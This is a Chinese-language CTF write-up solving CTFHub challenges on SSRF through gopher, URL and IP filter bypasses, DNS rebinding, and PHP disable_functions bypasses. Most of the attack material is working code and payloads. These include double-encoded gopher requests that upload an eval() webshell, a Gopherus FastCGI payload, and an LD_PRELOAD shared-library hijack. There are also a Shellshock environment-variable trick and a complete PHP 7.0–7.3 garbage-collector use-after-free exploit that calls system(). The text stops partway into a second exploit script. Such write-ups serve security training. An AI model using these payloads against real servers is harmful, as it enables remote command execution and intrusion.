gopher:// – 是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

16.3 端口扫描

1
2
http://xxxx/?url=127.0.0.1:8000
题目会给端口号范围,用burpsuite爆破端口号

16.4 POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

http://challenge-06817def2881c17e.sandbox.ctfhub.com:10800/?url=_

打开什么都没有,尝试一下10.1的内网访问

http://challenge-06817def2881c17e.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

查看源码发现信息:

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=0dc2b8bce30276f8d0f0cb1472eb6c7d-->
</form>

是一个表单,要用POST方式提交key到flag.php上。因为要发送的不是php代码所以不能用php://input方式,但可以用gopher协议(curl支持gopher伪协议)。

1
gopher://ip:port/_payload(注意有下划线)

构造POST内容,特别要注意Content-Length应为key的整个长度。将内容拿去URL编码2次(按理说是3次,但我们是在URL上构造,最后一次编码按回车浏览器会自动帮我们第3次编码),第一次URL编码后要手动在所有%0A前面加上%0D(%0A是在linux系统中代表换行符,在windows中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windows能够识别的),再进行后续编码。

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=0dc2b8bce30276f8d0f0cb1472eb6c7d
1
2
3
4
5
6
7
8
//第1次URL编码
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D0dc2b8bce30276f8d0f0cb1472eb6c7d
//加上%0D
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D0dc2b8bce30276f8d0f0cb1472eb6c7d
//第2次URL编码
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0dc2b8bce30276f8d0f0cb1472eb6c7d
//构造URL
/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0dc2b8bce30276f8d0f0cb1472eb6c7d

16.5 上传文件

这次需要上传一个文件到flag.php了.祝你好运

题目提示有flag.php,先打开看看

1
http://challenge-1897762186ae66ce.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

发现有上传文件的接口,但没有提交按钮。那就自己做一个。

1
<input type="submit" value="提交">

直接这样提交一句话木马的话会出现

Just View From 127.0.0.1

那我们抓一个包来用gopher构造

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------1114439304559070182630578745
Content-Length: 287

-----------------------------1114439304559070182630578745
Content-Disposition: form-data; name="file"; filename="shell1.php"
Content-Type: application/octet-stream

<?php
echo "hello world";
eval($_POST['caidao']); ?>
-----------------------------1114439304559070182630578745--

进行两次URL编码

1
2
3
4
5
6
//第1次
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D---------------------------1114439304559070182630578745%0D%0AContent-Length%3A%20287%0D%0A%0D%0A-----------------------------1114439304559070182630578745%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22shell1.php%22%0D%0AContent-Type%3A%20application/octet-stream%0D%0A%0D%0A%3C%3Fphp%20%0D%0Aecho%20%22hello%20world%22%3B%0D%0Aeval%28%24_POST%5B%27caidao%27%5D%29%3B%20%3F%3E%0D%0A-----------------------------1114439304559070182630578745--
//第2次
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------1114439304559070182630578745%250D%250AContent-Length%253A%2520287%250D%250A%250D%250A-----------------------------1114439304559070182630578745%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell1.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%250D%250Aecho%2520%2522hello%2520world%2522%253B%250D%250Aeval%2528%2524_POST%255B%2527caidao%2527%255D%2529%253B%2520%253F%253E%250D%250A-----------------------------1114439304559070182630578745--
//构造URL
/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------1114439304559070182630578745%250D%250AContent-Length%253A%2520287%250D%250A%250D%250A-----------------------------1114439304559070182630578745%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell1.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%250D%250Aecho%2520%2522hello%2520world%2522%253B%250D%250Aeval%2528%2524_POST%255B%2527caidao%2527%255D%2529%253B%2520%253F%253E%250D%250A-----------------------------1114439304559070182630578745--
1
ctfhub{58dfbf57568807f03726d88b}

16.6 FastCGI协议

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

FastCGI协议分析

https://blog.csdn.net/mysteryflower/article/details/94386461

方法一:利用脚本

https://blog.csdn.net/qq_51652864/article/details/118697060

监听端口

1
nc -lvvp 9000 > 1.txt 	//监听的内容写到1.txt去

方法二:利用gopherus

Gopherus安装

1
git clone https://github.com/tarunkant/Gopherus

去到Gopherus目录,利用fastcgi

1
python gopherus.py --exploit fastcgi

填入/var/www/html/index.phpwhoami,获得payload

1
2
3
4
5
if you don't know press ENTER we have default one:  /var/www/html/index.php  
Terminal command to run: whoami

Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

16.7 URL Bypass

url跳转bypass:
1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

给出提示,url参数的值中必须包含有http://notfound.ctfhub.com
可以采用@,也就是 HTTP 基本身份认证绕过。
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
也就是:http://www.xxx.com@www.yyy.com形式

1
/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

16.8 数字IP Bypass

  • IP进制转换:将点分十进制的IP格式转为其他【八进制】【十六进制】等格式
1
2
3
4
5
http://127.0.0.1  >>>  http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://127.0.0.1 >>> http://127001/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
  • Enclosed Alphanumerics:由英文字母数字组成的Unicode字符集,位于圆圈,括号或其他未封闭的封闭空间内,或以句号结尾。如下
1
2
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
①②⑦.⓿.⓿.① >>> 127.0.0.1
  • 特殊地址
1
2
3
http://0/  # 0.0.0.0可以直接访问到本地
http://127。0。0。1 # 绕过后端正则规则
http://localhost/

这次ban掉了127以及172,不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

首先看看http://challenge-36ebaf025673bdcd.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

hacker! Ban ‘/127|172|@/‘

说过滤了127,172还有@,经过验证, 以下url值也都可以绕过爆出flag

1
2
3
4
5
http://0x7f000001/flag.php
http://localhost/flag.php
http://2130706433/flag.php
http://0/flag.php
http://localhost/flag.php

16.9 302跳转 Bypass

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,这个时候可以尝试使用302跳转的方式来进行绕过。

xip.io

What is xip.io?
xip.io is a magic domain name that provides wildcard DNS
for any IP address. Say your LAN IP address is 10.0.0.1.
Using xip.io,即以如下规则进行域名解析

10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1

短网址

顾名思义就是在形式上比较短的网址,借助短网址您可以用简短的网址替代原来冗长的网址,让使用者可以更容易的分享链接。

访问短网址会自动跳转到原来冗长的网址,利用短网址这个特性,我们可以绕过URL参数检测的黑名单。

1
2
# 短网址工具域名: https://www.985.so/
http://127.0.0.1/flag.php ---> http://r6d.cn/b2mk6

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧。

依旧尝试一下http://challenge-5b889e8b9c4e4f67.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

hacker! Ban Intranet IP

它说把127.0.0.1都给过滤了,所以用.xip.io不行,但用短网址与10.8的某些地址就可以轻松绕过。

16.10 DNS重绑定攻击

根据流程图:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL(TTL表示DNS记录在DNS服务器上缓存时间)时间为0,这是为了防止有DNS服务器对第一次的解析结果进行缓存。

完整的DNS重绑定攻击流程为:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为指定范围IP,则通过验证
  3. 接下来服务器端对URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的内容

设置好两个地址,就会自动生成域名

1
2
3
4
5
6
# 工具域名: https://lock.cmpxchg8b.com/rebinder.html
# 使用两个IP地址,分别为
163.177.151.109 # 作用:第一次DNS解析后IP判断在指定范围内(随意一个可访问的公网地址)
127.0.0.1 # 作用:第二次DNS解析,不用判断直接访问内网flag.php

7f000001.a3b1976d.rbndr.us

抓包,将url改为域名,就得flag。

1
GET /?url=7f000001.a3b1976d.rbndr.us/flag.php HTTP/1.1

17. Bypass disable_function

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用。有四种绕过 disable_functions 的手法:

  • 攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如ImageMagick 的魔图漏洞、bash 的破壳漏洞等等;
  • 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
  • mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
  • 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

在学习php时,发现有许多函数会对网站或系统造成很大危险隐患,常见的危险函数有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

17.1 LD_PRLOAD

LD_PRELOAD可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

程序中我们经常要调用一些外部库的函数,以sendmail程序中的geteuid()为例,如果我们有个自定义的geteuid()函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用geteuid()函数时,调用的其实是我们自定义的geteuid()函数。而在PHP中error_log()和mail()函数在传入特定参数时都会调用到sendmail外部程序进而调用外部库的函数geteuid()。

所以我们的思路是:在已获得webshell但被PHP的disable_function禁用了一些危险函数的命令执行的情况下

  1. 编写好动态链接库文件并上传到服务器
  2. 编写PHP文件并上传到服务器,内容为:
    利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径,然后 配合php的某个函数(例如error_log()或mail()函数)去触发运行动态链接库然后执行我们的恶意动态链接库文件
  3. 在浏览器去浏览我们写的PHP文件

例:hcfhub-web进阶-Bypass disable_function-LD_PRLOAD

打开链接页面显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CTFHub Bypass disable_function —— LD_PRELOAD
本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
<title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

即在本页面上就放了一句话木马,用蚁剑连接。在根目录发现flag,但打开是空白页面,终端命令执行也不行。还有一个readflag,打开发现是执行显示flag的命令tac /flag,终端执行也不行。

tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。

方法一:用蚁剑插件的LD_PRLOAD模式

https://blog.csdn.net/hxhxhxhxx/article/details/112759999?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant

方法二:手工绕过

1
2
//查看禁用了哪些函数
http://challenge-f10324543e937194.sandbox.ctfhub.com:10800/?ant=phpinfo();

发现禁用了mail函数,但没禁用error_log()。所以下面利用error_log()绕过LD_PRLOAD。

1
2
error_log()函数向服务器错误记录、文件或远程目标发送错误信息。
error_log(message,type,destination,headers);

先创建一个havefun.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdlib.h>
#include <stdio.h>
#include<string.h>

void payload(){
system("/readflag > /tmp/havefun");
//如果/readflag运行成功将会在/tmp目录下生成一个havefun文件
//system("tac /flag > /tmp/havefun");
}

int geteuid(){
if(getenv("LD_PRELOAD") == NULL)
return 0;
unsetenv("LD_PRELOAD");
payload();
}

编译成havefun.so文件

1
gcc -fPIC -shared havefun.c -o havefun.so

将havefun.so文件拖入/tmp目录下,创建一个havefun.php拖入/var/www/html目录下。

1
2
3
4
5
6
<?php
putenv("LD_PRELOAD=/tmp/havefun.so");
error_log("",1,"","");
//mail("","","","");
?>
//因为mail()函数不能用,所以用函数error_log()

现在所有的前提工作都做好了,关键是怎么执行havefun.php让它执行havefun.so再执行/readflag命令。很简单,主页面不是有一个$_REQUEST[‘ant’]吗,我们可以利用文件包含,将havefun.php文件包含在主页面,执行主页面就可执行havefun.php。

1
http://challenge-f10324543e937194.sandbox.ctfhub.com:10800/?ant=include('havefun.php');

执行完后会在/tmp目录下生成一个havefun文件,打开就是flag。

17.2 ShellShock

例:hcfhub-web进阶-Bypass disable_function-ShellShock

跟LD_PRLOAD一样的界面,用蚁剑连接即可。发现什么目录都不给我们看,只能看/var/www/html的目录。

方法一:用蚁剑插件的apache_mode_cgi模式

点击开始,自动弹出终端。查找flag。

1
2
/readflag
tac /flag

方法二:手工shellshock

创建一个shell.php文件上传到/var/www/html

1
2
3
4
5
6
7
<?php
putenv("PHP_hack=() { :; }; tac /flag > /var/www/html/hack.php");
//运行成功的话将会在/var/www/html下生成一个hack.php文件,里面装着flag。因为我们只能看到/var/www/html目录下的东西,所以只能把flag放在这个路径下。
error_log("",1,"","");
//mail("","","","");
//这次没有限制禁用mail(),所以用mail()也可。
?>

执行shell.php

1
http://challenge-6a758e43b272dbba.sandbox.ctfhub.com:10800/shell.php

发现/var/www/htm目录下会生成一个hack.php。

17.3 Apache Mod CGI

CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

例:hcfhub-web进阶-Bypass disable_function-Apache Mod CGI

这个好像只能用插件?跟shellshock套路一样。

17.4 PHP-FPM

由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制:

  1. 第一个问题
    既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
  2. 第二个问题
    我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
    那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
    auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
  3. 第三个问题
    进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
    FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了。

例:hcfhub-web进阶-Bypass disable_function-PHP-FPM

一样用蚁剑连接,用蚁剑插件fastcgi/php-fpm,地址选择本地的9000端口,点击开始,就会在/var/www/html下生成一个.antproxy.php文件,在蚁剑添加数据,路径加上.antproxy.php,连接成功就可找flag。

17.5 GC UAF

方法一:蚁剑插件PHP_GC_UAF

方法二:一样用蚁剑连接,将编写好的exploit.php上传到/var/www/html上。

编写脚本exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("tac /flag");#这个写命令

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

访问以下URL即可出现flag。

1
http://challenge-e2dba0faaf3a8abc.sandbox.ctfhub.com:10800/exploit.php

17.6 Json Serializer UAF

方法一:蚁剑插件PHP7_Serializer_UAF

方法二:脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#php版本:
#7.1 - all versions to date
#7.2 < 7.2.19 (released: 30 May 2019)
#7.3 < 7.3.6 (released: 30 May 2019)
<?php

$cmd = "tac /flag";

